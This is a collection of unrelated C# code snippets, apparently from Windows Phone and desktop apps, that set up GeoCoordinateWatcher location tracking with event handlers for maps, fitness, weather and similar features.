public RouteDetailsPanoramaPage() { InitializeComponent(); pins = new List<Pushpin>(); var clusterer = new PushpinClusterer(map1, pins, this.Resources["ClusterTemplate"] as DataTemplate); SystemTray.SetIsVisible(this, true); if (watcher == null) { //---get the highest accuracy--- watcher = new GeoCoordinateWatcher(GeoPositionAccuracy.High) { //---the minimum distance (in meters) to travel before the next // location update--- MovementThreshold = 10 }; //---event to fire when a new position is obtained--- watcher.PositionChanged += new EventHandler<GeoPositionChangedEventArgs<GeoCoordinate>>(watcher_PositionChanged); //---event to fire when there is a status change in the location // service API--- watcher.StatusChanged += new EventHandler<GeoPositionStatusChangedEventArgs>(watcher_StatusChanged); watcher.Start(); map1.Center = new GeoCoordinate(58.383333, 26.716667); map1.ZoomLevel = 15; map1.Mode = new MyMapMode(); } }
// bool MapSet = false; public MapDetail() { InitializeComponent(); //sets up GeoCoordinateWatcher if (watcher == null) { //---get the highest accuracy--- watcher = new GeoCoordinateWatcher(GeoPositionAccuracy.High) { //---the minimum distance (in meters) to travel before the next // location update--- MovementThreshold = 10 }; //---event to fire when a new position is obtained--- watcher.PositionChanged += new EventHandler<GeoPositionChangedEventArgs <GeoCoordinate>>(watcher_PositionChanged); //---event to fire when there is a status change in the location // service API--- watcher.StatusChanged += new EventHandler<GeoPositionStatusChangedEventArgs> (watcher_StatusChanged); watcher.Start(); } setMap(); }
public TopicsModel() : base("TrendingTopics") { this.PropertyChanged += (sender, e) => { if (e.PropertyName == "ListSelection") OnSelectionChanged(); if (e.PropertyName == "SelectedLocation") UserChoseLocation(); }; geoWatcher = new GeoCoordinateWatcher(); if (Config.EnabledGeolocation == true) geoWatcher.Start(); Locations = new ObservableCollection<string>(); LocationMap = new Dictionary<string, long>(); refresh = new DelegateCommand((obj) => GetTopics()); showGlobal = new DelegateCommand((obj) => { currentLocation = 1; PlaceName = Localization.Resources.Global; GetTopics(); }); showLocations = new DelegateCommand((obj) => RaiseShowLocations(), (obj) => Locations.Any()); ServiceDispatcher.GetCurrentService().ListAvailableTrendsLocations(ReceiveLocations); IsLoading = true; if (Config.EnabledGeolocation == true && (Config.TopicPlaceId == -1 || Config.TopicPlaceId == null)) ServiceDispatcher.GetCurrentService().ListClosestTrendsLocations(new ListClosestTrendsLocationsOptions{ Lat = geoWatcher.Position.Location.Latitude, Long = geoWatcher.Position.Location.Longitude }, ReceiveMyLocation); else { currentLocation = Config.TopicPlaceId.HasValue ? (long)Config.TopicPlaceId : 1; PlaceName = Config.TopicPlace; GetTopics(); } }
private void PhoneApplicationPage_Loaded(object sender, RoutedEventArgs e) { GeoCoordinateWatcher TopCarrotwatcher = new GeoCoordinateWatcher(GeoPositionAccuracy.Default); TopCarrotwatcher.StatusChanged += new EventHandler<GeoPositionStatusChangedEventArgs>(TopCarrotwatcher_StatusChanged); TopCarrotwatcher.PositionChanged += new EventHandler<GeoPositionChangedEventArgs<GeoCoordinate>>(TopCarrotwatcher_PositionChanged); TopCarrotwatcher.TryStart(false, TimeSpan.FromMilliseconds(1000)); }
// Constructor public MainPage() { InitializeComponent(); try { Microsoft.Phone.Shell.PhoneApplicationService.Current.ApplicationIdleDetectionMode = IdleDetectionMode.Disabled; } catch { MessageBox.Show("Couldnt disable idleDetection"); } watcher = new GeoCoordinateWatcher(GeoPositionAccuracy.High); watcher.MovementThreshold = 0; watcher.StatusChanged += new EventHandler<GeoPositionStatusChangedEventArgs>(watcher_StatusChanged); watcher.PositionChanged += new EventHandler<GeoPositionChangedEventArgs<GeoCoordinate>>(watcher_PositionChanged); if (!Compass.IsSupported) { MessageBox.Show("Compass Not Supported"); } else { timer = new DispatcherTimer(); timer.Interval = TimeSpan.FromMilliseconds(30); timer.Tick += new EventHandler(timer_Tick); } }
/// <summary> /// Initializes the map. /// </summary> private async void InitializeMap() { _watcher = new GeoCoordinateWatcher(GeoPositionAccuracy.High) { MovementThreshold = 10 }; _watcher.PositionChanged += this.OnPositionChanged; _watcher.Start(); var geoLocator = new Geolocator { DesiredAccuracyInMeters = 10 }; try { Geoposition geoposition = await geoLocator.GetGeopositionAsync(TimeSpan.FromMinutes(5), TimeSpan.FromSeconds(10)); var coordinate = geoposition.Coordinate; var currentLocation = new GeoCoordinate( coordinate.Latitude, coordinate.Longitude, coordinate.Altitude ?? double.NaN, coordinate.Accuracy, coordinate.AltitudeAccuracy ?? double.NaN, coordinate.Speed ?? double.NaN, coordinate.Heading ?? double.NaN); Pushpin pushpin = (Pushpin)this.FindName("UserLocation"); pushpin.GeoCoordinate = currentLocation; } catch (Exception) { // Inform the user that the location cannot be determined. App.ViewModel.CurrentLocation = null; } }
public MainPage() { if (NetworkInterface.GetIsNetworkAvailable()) { InitializeComponent(); if (watcher == null) { watcher = new GeoCoordinateWatcher(GeoPositionAccuracy.High); watcher.MovementThreshold = 10.0f; watcher.PositionChanged += new EventHandler<GeoPositionChangedEventArgs<GeoCoordinate>>(watcher_PositionChanged); } geolist = new List<GeoCoordinate>(); loc = new List<Local>(); stateWatcher(); GetLocales(); navi = true; } else { InitializeComponent(); string a = "ADVERTENCIA: Sin Conexión"; string b = "Esta Aplicación requiere de conexión a internet, ya que consulta información en línea."; MessageBox.Show(a+"\n"+b+"\nGracias"); } }
public MainPivot() { InitializeComponent(); pivot1.SelectionChanged += pivot1_SelectionChanged; locset_tel = IsolatedSettingsHelper.GetValue<int>("locsetting_tel"); if (watcher == null) { watcher = new GeoCoordinateWatcher(GeoPositionAccuracy.High) { MovementThreshold = 10 }; watcher.Start(); watcher.StatusChanged += watcher_StatusChanged; } if ( locset_tel == 1)//app konum ayarı ve tel konum ayarı kapalı ise konumu bulma. { if (watcher != null) { watcher.PositionChanged += new EventHandler<GeoPositionChangedEventArgs<GeoCoordinate>>(watcher_PositionChanged); } } this.Loaded += MainPivot_Loaded; }
public JustRun() { InitializeComponent(); running = false; Microsoft.Phone.Shell.PhoneApplicationService.Current.ApplicationIdleDetectionMode = Microsoft.Phone.Shell.IdleDetectionMode.Disabled; // The watcher variable was previously declared as type GeoCoordinateWatcher. if (watcher == null) { watcher = new GeoCoordinateWatcher(GeoPositionAccuracy.High); // using high accuracy //watcher.MovementThreshold = 1; // use MovementThreshold to ignore noise in the signal watcher.StatusChanged += new EventHandler<GeoPositionStatusChangedEventArgs>(watcher_StatusChanged); watcher.PositionChanged += new EventHandler<GeoPositionChangedEventArgs<GeoCoordinate>>(watcher_PositionChanged); watcher.Start(); Globals.lat = watcher.Position.Location.Latitude; Globals.lon = watcher.Position.Location.Longitude; } Globals.dist = 0.0; if (Globals.usingMeters) { tbUnits.Text = "km"; tbV.Text = "km/h"; } else { tbUnits.Text = "mi"; tbV.Text = "mph"; } }
public GeoLocationService() { _watcher = new GeoCoordinateWatcher(); _watcher.StatusChanged += Watcher_StatusChanged; _watcher.PositionChanged += Watcher_PositionChanged; _watcher.Start(); }
protected override void OnNavigatedTo(System.Windows.Navigation.NavigationEventArgs e) { _watcher = new GeoCoordinateWatcher(GeoPositionAccuracy.High) { MovementThreshold = 0 }; _watcher.PositionChanged += WatcherPositionChanged; _watcher.StatusChanged += _watcher_StatusChanged; _watcher.Start(); }
public MapPage() { InitializeComponent(); // Define event handlers NotificationClient.Current.NotificationReceived += new EventHandler(getNotification); NotificationClient.Current.UriUpdated += new EventHandler(setUri); // Reinitialize the GeoCoordinateWatcher watcher = new GeoCoordinateWatcher(GeoPositionAccuracy.High); watcher.MovementThreshold = 5;//distance in metres // Add event handlers for StatusChanged and PositionChanged events watcher.StatusChanged += new EventHandler<GeoPositionStatusChangedEventArgs>(watcher_StatusChanged); watcher.PositionChanged += new EventHandler<GeoPositionChangedEventArgs<GeoCoordinate>>(watcher_PositionChanged); // Start data acquisition watcher.Start(); if (firstRun) { firstRun = false; // Ask for next check-in point DisplayInfoText("Retrieving first checkpoint", 10); QueryCidLocationWithWait(10); // Ask for number of checkpoints send(GlobalVars.serveraddr + "get_n?token=" + GlobalVars.token, SendType.GetN); } }
/// <summary> /// Creates a new CustomMapControls class object using default images. /// </summary> /// <param name="map">Map object on which actions are to be performed. </param> public CustomMapControls(Map map) { try { this._map = map; _map.Children.Add(ImageLayer); _homeImage.Source = new BitmapImage(new Uri("/CustomMapLibrary;component/Resources/home.png", UriKind.Relative)); _pinImage.Source = new BitmapImage(new Uri("/CustomMapLibrary;component/Resources/pin.png", UriKind.Relative)); _pinImage.Tap += new EventHandler<GestureEventArgs>(pinImage_Tap); _map.Tap += new EventHandler<GestureEventArgs>(map_Tap); _map.Hold += new EventHandler<GestureEventArgs>(map_Hold); _watcher = new GeoCoordinateWatcher(GeoPositionAccuracy.High); _watcher.MovementThreshold = 20; _watcher.PositionChanged += new EventHandler<GeoPositionChangedEventArgs<GeoCoordinate>>(watcher_PositionChanged); _watcher.StatusChanged += new EventHandler<GeoPositionStatusChangedEventArgs>(watcher_StatusChanged); _watcher.Start(true); //Forward Button Press Event from Popup Window _popupWindow.btnDetails.Click += new RoutedEventHandler(btnDetails_Click); } catch (Exception e) { MessageBox.Show("Error: " + e.Message + "\n" + e.Data + "\n" + e.StackTrace); } }
public ConcertDetails() { InitializeComponent(); GeoCoordinateWatcher geoWatcher = new GeoCoordinateWatcher(GeoPositionAccuracy.High); geoWatcher.StatusChanged += geoWatcher_StatusChanged; geoWatcher.PositionChanged += geoWatcher_PositionChanged; geoWatcher.Start(); map.ZoomLevel = 15; if (PhoneApplicationService.Current.State["connected"].Equals(1)) { Uri imageUriConnected = new Uri("/Images/ic_connected.png", UriKind.Relative); BitmapImage imageBitmapConnected = new BitmapImage(imageUriConnected); imgConnected.Source = imageBitmapConnected; } else { Uri imageUriNotConnected = new Uri("/Images/ic_not_connected.png", UriKind.Relative); BitmapImage imageBitmapNotConnected = new BitmapImage(imageUriNotConnected); imgConnected.Source = imageBitmapNotConnected; } Concert concert = (Concert)PhoneApplicationService.Current.State["Concert"]; Uri imageUri = new Uri(concert.image, UriKind.Absolute); BitmapImage imageBitmap = new BitmapImage(imageUri); imgConcert.Source = imageBitmap; textBeginDate.Text = concert.start_datetime; textEndDate.Text = concert.end_datetime; textLocation.Text = concert.location; textNbSeets.Text = "Number of seats : " + concert.nb_seats; textTitle.Text = concert.name_concert; geoWatcher = new GeoCoordinateWatcher(); geoWatcher.StatusChanged += geoWatcher_StatusChanged; geoWatcher.Start(); }
public void Initialize(Action<GeoPositionStatus> del) { if (IsInitialized) { _watcher.Start(); return; } // instantiate the GeoCoordinateWatcher _watcher = new GeoCoordinateWatcher(GeoPositionAccuracy.High); // Create an observable sequence of GeoPositionStatusChanged events. var locationStatusEventAsObservable = Observable.FromEvent<GeoPositionStatusChangedEventArgs>( ev => _watcher.StatusChanged += ev, ev => _watcher.StatusChanged -= ev); // For simplicity, create a stream of GeoPositionStatus objects from the stream of // GeoPositionStatusChangedEventArgs objects var statusFromEventArgs = from ev in locationStatusEventAsObservable select ev.EventArgs.Status; // Subscribe to the Observable stream. InvokeStatusChanged will be called each time // a new GeoPositionStatus object arrives in the stream. statusFromEventArgs.Subscribe(status => del(status)); // Start the GeoCoordinateWatcher _watcher.Start(); IsInitialized = true; }
void CustomMapControl_Loaded( object sender, RoutedEventArgs e ) { // initialize image overlay layer imageLayer = new MapLayer(); map.Children.Add(imageLayer); // setup map control try { Settings.IsoManager.Instance.Load(); map.SetView( Settings.IsoManager.Instance.MapSettings.Coordinate, Settings.IsoManager.Instance.MapSettings.ZoomLevel ); } catch (Exception) { } // activate geo location watcher if (watcher == null) { watcher = new GeoCoordinateWatcher(GeoPositionAccuracy.High); watcher.MovementThreshold = 1.0; watcher.PositionChanged += new EventHandler<GeoPositionChangedEventArgs<GeoCoordinate>>(watcher_PositionChanged); watcher.StatusChanged += new EventHandler<GeoPositionStatusChangedEventArgs>(watcher_StatusChanged); if (!watcher.TryStart(true, TimeSpan.FromSeconds(5))) { MessageBox.Show("Please enable Location Service on the Phone.", "Warning", MessageBoxButton.OK); } } }
protected override void OnNavigatedTo(NavigationEventArgs e) { var photoResult = PhoneHelpers.GetApplicationState<PhotoResult>("PhotoResult"); if (this.watcher == null) { // Use high accuracy. this.watcher = new GeoCoordinateWatcher(GeoPositionAccuracy.High); this.watcher.MovementThreshold = 20; // Use MovementThreshold to ignore noise in the signal. this.watcher.StatusChanged += this.GeoCoordinateWatcherStatusChanged; } this.watcher.Start(); if ((this.ViewModel != null) && (photoResult != null)) { this.ViewModel.LoadPhoto(photoResult); } else { this.NavigationService.GoBack(); } }
public GeoLocationManager() { // using high accuracy; _watcher = new GeoCoordinateWatcher(GeoPositionAccuracy.High); _watcher.StatusChanged += new EventHandler<GeoPositionStatusChangedEventArgs>(WatcherStatusChanged); _watcher.PositionChanged += new System.EventHandler<GeoPositionChangedEventArgs<GeoCoordinate>>(WatcherPositionChanged); }
public MainPage() { InitializeComponent(); _watcher = new GeoCoordinateWatcher(GeoPositionAccuracy.High); _watcher.MovementThreshold = 20; _watcher.StatusChanged += (sender, args) => { if (args.Status == GeoPositionStatus.Ready) { try { GeoCoordinate coordinates = _watcher.Position.Location; DevCenterAds.Longitude = coordinates.Longitude; DevCenterAds.Latitude = coordinates.Latitude; } finally { _watcher.Stop(); } } }; _watcher.Start(); LayoutUpdated += OnLayoutUpdated; }
/// <summary> /// Initializes the application context for use through out the entire application life time. /// </summary> /// <param name="frame"> /// The <see cref="T:Microsoft.Phone.Controls.PhoneApplicationFrame" /> of the current application. /// </param> public static void Initialize(PhoneApplicationFrame frame) { // Initialize Ioc container. var kernel = new StandardKernel(); kernel.Bind<Func<Type, NotifyableEntity>>().ToMethod(context => t => context.Kernel.Get(t) as NotifyableEntity); kernel.Bind<PhoneApplicationFrame>().ToConstant(frame); kernel.Bind<INavigationService>().To<NavigationService>().InSingletonScope(); kernel.Bind<IStorage>().To<IsolatedStorage>().InSingletonScope(); kernel.Bind<ISerializer<byte[]>>().To<BinarySerializer>().InSingletonScope(); kernel.Bind<IGoogleMapsClient>().To<GoogleMapsClient>().InSingletonScope(); kernel.Bind<IDataContext>().To<DataContext>().InSingletonScope(); kernel.Bind<IConfigurationContext>().To<ConfigurationContext>().InSingletonScope(); Initialize(kernel); // Initialize event handlers and other properties. GeoCoordinateWatcher = new GeoCoordinateWatcher(GeoPositionAccuracy.High) {MovementThreshold = 10D}; ((DataContext) Data).AppVersion = new AssemblyName(Assembly.GetExecutingAssembly().FullName).Version; Data.PreventScreenLock.ValueChanged += (old, @new) => { PhoneApplicationService.Current.UserIdleDetectionMode = @new ? IdleDetectionMode.Disabled : IdleDetectionMode.Enabled; }; Data.UseLocationService.ValueChanged += (old, @new) => { if (@new) GeoCoordinateWatcher.Start(); else GeoCoordinateWatcher.Stop(); }; IsNetworkAvailable = NetworkInterface.GetIsNetworkAvailable(); NetworkChange.NetworkAddressChanged += (s, e) => IsNetworkAvailable = NetworkInterface.GetIsNetworkAvailable(); }
public NewStore() { InitializeComponent(); markerLayer = new MapLayer(); map2.Layers.Add(markerLayer); //geoQ = new GeocodeQuery(); //geoQ.QueryCompleted += geoQ_QueryCompleted; //Debug.WriteLine("All construction done for GeoCoding"); System.Windows.Input.Touch.FrameReported += Touch_FrameReported; map2.Tap += map2_Tap; resultList.SelectionChanged += resultList_SelectionChanged; watcher = new GeoCoordinateWatcher(GeoPositionAccuracy.Default); watcher.MovementThreshold = 20; // 20 meters watcher.StatusChanged += new EventHandler<GeoPositionStatusChangedEventArgs>(OnStatusChanged); watcher.PositionChanged += new EventHandler<GeoPositionChangedEventArgs<GeoCoordinate>>(OnPositionChanged); newCenter(); watcher.Start(); }
// Constructor public MainPage() { if (!isoSettings.Contains("Enablelocation")) isoSettings.Add("Enablelocation", true); InitializeComponent(); if (watcher == null) { watcher = new GeoCoordinateWatcher(GeoPositionAccuracy.Default); watcher.MovementThreshold = 10; watcher.StatusChanged += new EventHandler<GeoPositionStatusChangedEventArgs>(watcher_StatusChanged); watcher.PositionChanged += new EventHandler<GeoPositionChangedEventArgs<GeoCoordinate>>(watcher_PositionChanged); } if ((bool)isoSettings["Enablelocation"]) { watcher.Start(); } else { map.Visibility = System.Windows.Visibility.Collapsed; MessageBox.Show("Please enable Location services from settings to view and report location"); } }
private void Button_Click_1(object sender, RoutedEventArgs e) { gcw = new GeoCoordinateWatcher(GeoPositionAccuracy.High); gcw.MovementThreshold = 20; gcw.StatusChanged += new EventHandler<GeoPositionStatusChangedEventArgs>(gcw_StatusChanged); gcw.Start(); }
// Constructor public MainPage() { _geoWatcher = new GeoCoordinateWatcher(GeoPositionAccuracy.Default); //Don't enable geolocation tracking until the button gets pressed _geoWatcher.PositionChanged += GeoWatcherPositionChanged; InitializeComponent(); }
protected override void OnNavigatedTo(System.Windows.Navigation.NavigationEventArgs e) { gcw = new GeoCoordinateWatcher(GeoPositionAccuracy.High); gcw.PositionChanged += gcw_PositionChanged; gcw.StatusChanged += gcw_StatusChanged; map.ColorMode = Microsoft.Phone.Maps.Controls.MapColorMode.Light; map.CartographicMode = Microsoft.Phone.Maps.Controls.MapCartographicMode.Road; map.LandmarksEnabled = true; map.PedestrianFeaturesEnabled = true; map.ZoomLevel = 17; if (!App.IsInBackground) { txtCurrentSpeed.Foreground = new SolidColorBrush(Colors.Black); overlay.Content = txtCurrentSpeed; routeQuery.TravelMode = Microsoft.Phone.Maps.Services.TravelMode.Walking; routeQuery.QueryCompleted += rq_QueryCompleted; MapLayer currentSpeedLayer = new MapLayer(); currentSpeedLayer.Add(overlay); map.Layers.Add(currentSpeedLayer); map.Layers.Add(historicalReadingsLayer); map.MapElements.Add(polyline); } base.OnNavigatedTo(e); }
public Add() { InitializeComponent(); try { GeoCoordinateWatcher myWatcher = new GeoCoordinateWatcher(); var myPosition = myWatcher.Position; double latitude = 47.674; double longitude = -122.12; if (!myPosition.Location.IsUnknown) { latitude = myPosition.Location.Latitude; longitude = myPosition.Location.Longitude; } myTerraService.TerraServiceSoapClient client = new myTerraService.TerraServiceSoapClient(); client.ConvertLonLatPtToNearestPlaceCompleted += new EventHandler<myTerraService.ConvertLonLatPtToNearestPlaceCompletedEventArgs>(client_ConvertLonLatPtToNearestPlaceCompleted); client.ConvertLonLatPtToNearestPlaceAsync(new myTerraService.LonLatPt() { Lat = latitude, Lon = longitude }); } catch { // To be implemented } }
// Constructor public MainPage() { InitializeComponent(); _engine = new Engine(); _engine.ghostCreated += new Engine.GhostCreated(ghostCreated); _engine.worldObjectCreated += new Engine.WorldObjectCreated(worldObjectCreated); _engine.worldObjectRemoved += new Engine.WorldObjectRemoved(worldObjectRemoved); _engine.ghostsMoved += new Engine.GhostsMoved(ghostsMoved); _engine.gameStarted += new Engine.GameStarted(gameStarted); _engine.gameOver += new Engine.GameOver(gameOver); //_engine.Player.Position = new GeoCoordinate(0, 0); _watcher = new GeoCoordinateWatcher(GeoPositionAccuracy.High); _watcher.MovementThreshold = 0; _watcher.StatusChanged += new EventHandler<GeoPositionStatusChangedEventArgs>(watcher_StatusChanged); _watcher.PositionChanged += new EventHandler<GeoPositionChangedEventArgs<GeoCoordinate>>(watcher_PositionChanged); if (Compass.IsSupported) { _compass = new Compass(); _compass.CurrentValueChanged += new EventHandler<SensorReadingEventArgs<CompassReading>>(compassChanged); _compass.Start(); } gpsHideAnimation.Completed += new EventHandler(gpsHideAnimation_Completed); rect.Visibility = Visibility.Collapsed; }
public SettingsPage() { InitializeComponent(); AdControl.TestMode = false; //NavigationInTransition navigateInTransition = new NavigationInTransition(); //navigateInTransition.Backward = new SlideTransition { Mode = SlideTransitionMode.SlideDownFadeIn }; //navigateInTransition.Forward = new SlideTransition { Mode = SlideTransitionMode.SlideUpFadeIn }; //NavigationOutTransition navigateOutTransition = new NavigationOutTransition(); //navigateOutTransition.Backward = new SlideTransition { Mode = SlideTransitionMode.SlideDownFadeOut }; //navigateOutTransition.Forward = new SlideTransition { Mode = SlideTransitionMode.SlideUpFadeOut }; //TransitionService.SetNavigationInTransition(this, navigateInTransition); //TransitionService.SetNavigationOutTransition(this, navigateOutTransition); // Set toggleswitch checked property as per EnableLocationAd variable LocalAdToggleSwitch.IsChecked = (Application.Current as App).EnableLocationAd; //If enable location ad is true then enable gcw_PositionChanged event if ((Application.Current as App).EnableLocationAd) { this.gcw = new GeoCoordinateWatcher(); this.gcw.Start(); this.gcw.PositionChanged += new EventHandler<GeoPositionChangedEventArgs<GeoCoordinate>>(gcw_PositionChanged); } ApplicationIdleDetection.IsChecked = (Application.Current as App).ApplicationIdleDetection; }
public add() { InitializeComponent(); GeoCoordinateWatcher my_watcher = new GeoCoordinateWatcher(); var my_position = my_watcher.Position; // set a default value, if we canot get the current location, // the we'll default to Redmond, WA double latitude = 47.674; double longitude = -122.12; if (!my_position.Location.IsUnknown) { latitude = my_position.Location.Latitude; longitude = my_position.Location.Longitude; } myTerraService.TerraServiceSoapClient client = new myTerraService.TerraServiceSoapClient(); client.ConvertLonLatPtToNearestPlaceCompleted += new EventHandler<myTerraService.ConvertLonLatPtToNearestPlaceCompletedEventArgs>(client_ConvertLonLatPtToNearestPlaceCompleted); client.ConvertLonLatPtToNearestPlaceAsync(new myTerraService.LonLatPt() { Lat = latitude, Lon = longitude }); }
// Constructor public MainPage() { InitializeComponent(); if (watcher == null) { //Get the highest accuracy. watcher = new GeoCoordinateWatcher(GeoPositionAccuracy.High) { //The minimum distance (in meters) to travel before the next location update. MovementThreshold = 10 }; //Event to fire when a new position is obtained. watcher.PositionChanged += new EventHandler<GeoPositionChangedEventArgs <GeoCoordinate>>(watcher_PositionChanged); //Event to fire when there is a status change in the location service API. watcher.StatusChanged += new EventHandler<GeoPositionStatusChangedEventArgs> (watcher_StatusChanged); watcher.Start(); } // position change code start watcher.PositionChanged += this.watcher_PositionChanged; watcher.StatusChanged += this.watcher_StatusChanged; watcher.Start(); // position chane code stop }
public void GetLocationEvent(Action <string> SetWeatherControl) { _SetWeatherControl = SetWeatherControl; watcher = new GeoCoordinateWatcher(); watcher.MovementThreshold = 1.0; watcher.PositionChanged += new EventHandler <GeoPositionChangedEventArgs <GeoCoordinate> >(watcher_PositionChanged); bool started = watcher.TryStart(false, TimeSpan.FromMilliseconds(2000)); if (!started) { MessageBox.Show("GeoCoordinateWatcher 开启超时!", "提示"); } }
private void InitializeWatcher() { this.watcher = new GeoCoordinateWatcher(GeoPositionAccuracy.Default); this.watcher.Start(true); if (this.watcher.Status == GeoPositionStatus.Initializing || this.watcher.Status == GeoPositionStatus.NoData) { this.watcher.StatusChanged += this.WatcherStatusChanged; } else { this.GetNewLocation(); } }
public MainPage() { InitializeComponent(); this.gcw = new GeoCoordinateWatcher(); this.gcw.PositionChanged += new EventHandler <GeoPositionChangedEventArgs <GeoCoordinate> >(gcw_PositionChanged); this.gcw.Start(); if (!IsWirelessEnabled() && !IsCellularEnabled()) { MessageBox.Show("No Network Access"); } Application.Current.UnhandledException += new EventHandler <ApplicationUnhandledExceptionEventArgs>(Current_UnhandledException); this.Loaded += new RoutedEventHandler(MainPage_Loaded); }
// Constructor public MainPage() { InitializeComponent(); LocationService = new GeoCoordinateWatcher(); LocationService.PositionChanged += new EventHandler <GeoPositionChangedEventArgs <GeoCoordinate> > (LocationSensor_PositionChanged); LocationService.StatusChanged += new EventHandler <GeoPositionStatusChangedEventArgs> (LocationSensor_StatusChanged); }
// Constructor public MainPage() { InitializeComponent(); acc = new Accelerometer(); geoW = new GeoCoordinateWatcher(); PhoneApplicationService.Current.ApplicationIdleDetectionMode = IdleDetectionMode.Disabled; PhoneApplicationFrame rootFrame = ((App)Application.Current).RootFrame; rootFrame.Obscured += new EventHandler <ObscuredEventArgs>(rootFrame_Obscured); rootFrame.Unobscured += new EventHandler(rootFrame_Unobscured); }
static void Main(string[] args) { GeoCoordinateWatcher watcher; bool verf = !true; // false void GetLocationEvent() { watcher = new GeoCoordinateWatcher(); watcher.PositionChanged += new EventHandler <GeoPositionChangedEventArgs <GeoCoordinate> >(watcher_PositionChanged); bool started = watcher.TryStart(false, TimeSpan.FromMilliseconds(2000)); } void watcher_PositionChanged(object sender, GeoPositionChangedEventArgs <GeoCoordinate> e) { if (verf != true) // false { if (e.Position.Location.Latitude > 0 || e.Position.Location.Longitude > 0) { verf = !false; // true mostarLocalizacao(e.Position.Location.Latitude, e.Position.Location.Longitude); } } } void mostarLocalizacao(double Latitude, double Longitude) { RootObject rootObject = getAddress(Convert.ToString(Latitude), Convert.ToString(Longitude)); Console.WriteLine("Latitude: {0}", rootObject.lat); Console.WriteLine("Longtude: {0}", rootObject.lon); Console.WriteLine("display_name: {0}", rootObject.display_name); Console.WriteLine("road: {0}", rootObject.address.road); Console.WriteLine("neighbourhood: {0}", rootObject.address.neighbourhood); Console.WriteLine("suburb: {0}", rootObject.address.suburb); Console.WriteLine("city: {0}", rootObject.address.city); Console.WriteLine("county: {0}", rootObject.address.county); Console.WriteLine("state_district: {0}", rootObject.address.state_district); Console.WriteLine("state: {0}", rootObject.address.state); Console.WriteLine("postcode: {0}", rootObject.address.postcode); Console.WriteLine("country: {0}", rootObject.address.country); Console.WriteLine("country_code: {0}", rootObject.address.country_code); Console.WriteLine("place: {0}", rootObject.address.place); Console.WriteLine("house_number: {0}", rootObject.address.house_number); Console.WriteLine("railway: {0}", rootObject.address.railway); Console.WriteLine("city_district: {0}", rootObject.address.city_district); } GetLocationEvent(); Console.ReadKey(); }
public void GetUserPostion() { GeoCoordinateWatcher watcher = new GeoCoordinateWatcher(); watcher.PositionChanged += new EventHandler <GeoPositionChangedEventArgs <GeoCoordinate> >((s, e) => { latitude = e.Position.Location.Latitude; longitude = e.Position.Location.Longitude; watcher.Stop(); this.GetBestServer(); }); watcher.Start(); }
/// <summary> /// Returns the current cached location from GPS /// </summary> /// <returns></returns> public static GeoCoordinate GetCurrentLocation() { //// Simulate location in debugger: //if (System.Diagnostics.Debugger.IsAttached) //{ // return new GeoCoordinate((double)32095676 / (double)1000000, (double)34798484 / (double)1000000); //} GeoCoordinateWatcher watcher = new GeoCoordinateWatcher(GeoPositionAccuracy.High); watcher.TryStart(true, TimeSpan.FromSeconds(13)); return(watcher.Position.Location); }
public CoordinateWatcher() { this.watcher = new GeoCoordinateWatcher(GeoPositionAccuracy.High); watcher.StatusChanged += new EventHandler <GeoPositionStatusChangedEventArgs>(watcher_StatusChanged); watcher.Start(); BackgroundWorker worker = new BackgroundWorker(); worker.WorkerReportsProgress = false; worker.WorkerSupportsCancellation = false; worker.DoWork += new DoWorkEventHandler(worker_DoWork); //Thread.Sleep(4000); //worker.RunWorkerAsync(); worker.RunWorkerCompleted += new RunWorkerCompletedEventHandler(worker_RunWorkerCompleted); }
private GeoCoordinate GetGeoCoordinate() { var geoWatcher = new GeoCoordinateWatcher(); geoWatcher.TryStart(false, TimeSpan.FromSeconds(1)); while (true) { if (!geoWatcher.Position.Location.IsUnknown) { return(geoWatcher.Position.Location); } } }
public WarDrivingcs() { InitializeComponent(); //scanningTimer.Enabled = true; watcher = new GeoCoordinateWatcher(); // this.dataGridView1.Sort(powerDbmDataGridViewTextBoxColumn, ListSortDirection.Descending); chart1.ChartAreas[0].AxisX.ScaleView.Zoomable = false; chart1.ChartAreas[0].AxisY.ScaleView.Zoomable = false; chart1.ChartAreas[0].AxisX.MajorGrid.LineWidth = 0; chart1.ChartAreas[0].AxisY.MajorGrid.LineWidth = 0; }
public void BeginGetLocation() { watcher = new GeoCoordinateWatcher(GeoPositionAccuracy.Default); watcher.PositionChanged += new EventHandler <GeoPositionChangedEventArgs <GeoCoordinate> >(watcher_PositionChanged); if (watcher.Permission == GeoPositionPermission.Granted) { watcher.Start(); } else { PositionDetermined(new PositionDeterminedEventArgs(true, false)); } }
private void Form1_Load(object sender, EventArgs e) { GeoCoordinateWatcher watcher = new GeoCoordinateWatcher(); watcher.PositionChanged += watcher_PositionChanged; watcher.Start(); String queue = "https://api.openweathermap.org/data/2.5/weather?lat=" + lat + "&lon=" + lon + "&APPID=1499f87b39982a746c16f0c3ff09b18b"; fill(queue); }
private void btnMapa_Click_1(object sender, RoutedEventArgs e) { GeoCoordinateWatcher gps = new GeoCoordinateWatcher(GeoPositionAccuracy.High); gps.Start(); if (gps.Permission.Equals(GeoPositionPermission.Granted)) { NavigationService.Navigate(new Uri("/MainPage.xaml", UriKind.Relative)); } else if (gps.Permission.Equals(GeoPositionPermission.Denied) || gps.Permission.Equals(GeoPositionPermission.Unknown)) { MessageBox.Show("Tu GPS esta desactivado. Para habilitarlo vaya a Configuración/Ubicacion y habilite el GPS para ver el mapa.", "Activar GPS", MessageBoxButton.OK); } }
private async void StartGeoLoc() { GeoCoordinateWatcher watcher = new GeoCoordinateWatcher(GeoPositionAccuracy.Default); watcher.MovementThreshold = 20; watcher.Start(); watcher.PositionChanged += (o, args) => { this.DestinationMarker.GeoCoordinate = watcher.Position.Location; this.Start_ReverceGeoCoding(this.DestinationMarker); this.Start_ReverceGeoCoding(this.OriginMarker); this.StartGeoQ(); }; }
private void TrackMe() { startingPoint = null; CurrentPosition.Children.Clear(); if (myWatcher != null) { myWatcher.PositionChanged -= myWatcher_PositionChanged; myWatcher.Dispose(); myWatcher = null; } myWatcher = new GeoCoordinateWatcher(); myWatcher.TryStart(false, TimeSpan.FromMilliseconds(1000)); myWatcher.PositionChanged += myWatcher_PositionChanged; }
public static void getGPS() { try { GPSLoc = new GeoCoordinateWatcher(); GPSLoc.StatusChanged += GPSLocStatusChange; GPSLoc.Start(); } catch (Exception ex) { MessageBox.Show("getGPS => " + ex.Message); return; } }
